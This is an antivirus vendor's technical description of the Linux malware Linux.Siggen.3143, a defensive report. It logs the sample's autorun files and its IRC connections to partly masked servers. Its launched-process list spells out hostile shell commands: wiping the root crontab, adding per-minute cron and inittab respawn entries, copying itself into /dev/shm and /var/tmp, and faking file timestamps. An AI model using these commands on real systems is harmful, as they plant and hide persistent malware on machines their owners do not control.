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Linux.Siggen.3143
Added to the Dr.Web virus database:
2020-06-19
Virus description added:
2020-06-18
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/inittab
/var/spool/cron/crontabs/root
/etc/rc.local
Malicious functions:
Substitutes application name for:
Modifies router settings:
Launches processes:
sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
sh -c crontab -r
sh -c crontab -l | grep <SAMPLE_FULL_PATH> | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
crontab -r
cat /etc/inittab
grep -v <SAMPLE_FULL_PATH>
grep -v no cron
crontab -l
grep <SAMPLE_FULL_PATH>
sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
crontab -
sh -c cat /etc/inittab2 > /etc/inittab
cat /etc/inittab2
sh -c rm -rf /etc/inittab2
rm -rf /etc/inittab2
sh -c touch -acmr /bin/ls /etc/inittab
touch -acmr /bin/ls /etc/inittab
sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
sh -c /bin/uname -n
sh -c nvram get router_name
cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
/bin/uname -n
sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /dev/shm/<SAMPLE> | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /dev/shm/<SAMPLE>
grep /dev/shm/<SAMPLE>
sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/tmp/<SAMPLE> | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /var/tmp/<SAMPLE>
grep /var/tmp/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/lock/<SAMPLE> | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /var/lock/<SAMPLE>
grep /var/lock/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /var/run/<SAMPLE> | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /var/run/<SAMPLE>
grep /var/run/<SAMPLE>
sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.dHXM64
/var/spool/cron/crontabs/tmp.NXJkiT
/var/spool/cron/crontabs/tmp.H3bV68
/var/spool/cron/crontabs/tmp.poZF78
/var/spool/cron/crontabs/tmp.wKk6Db
Creates or modifies files:
/tmp/.bawtz
/etc/inittab2
/var/spool/cron/crontabs/tmp.dHXM64
/dev/shm/<SAMPLE>
/var/spool/cron/crontabs/tmp.NXJkiT
/var/tmp/<SAMPLE>
/var/spool/cron/crontabs/tmp.H3bV68
/var/lock/<SAMPLE>
/run/lock/<SAMPLE>
/var/spool/cron/crontabs/tmp.poZF78
/var/run/<SAMPLE>
/run/<SAMPLE>
/var/spool/cron/crontabs/tmp.wKk6Db
Deletes files:
Network activity:
Awaits incoming connections on ports:
Connects to the following servers over the IRC protocol:
Server: 46.##9.233.35; Command: NICK i586|e|0|6941850|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
Server: 46.##9.233.35; Command: PONG :4D9C88E6\n
Server: 18#.#1.149.22; Command: NICK i586|e|0|6941850|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
Server: 18#.#1.149.22; Command: PONG :77D4E21D\n
Server: 18#.#1.149.22; Command: MODE i586|e|0|6941850|unknown -xi\n
Server: 18#.#1.149.22; Command: JOIN #ei :8974\n
Server: 18#.#1.149.22; Command: WHO i586|e|0|6941850|unknown\n
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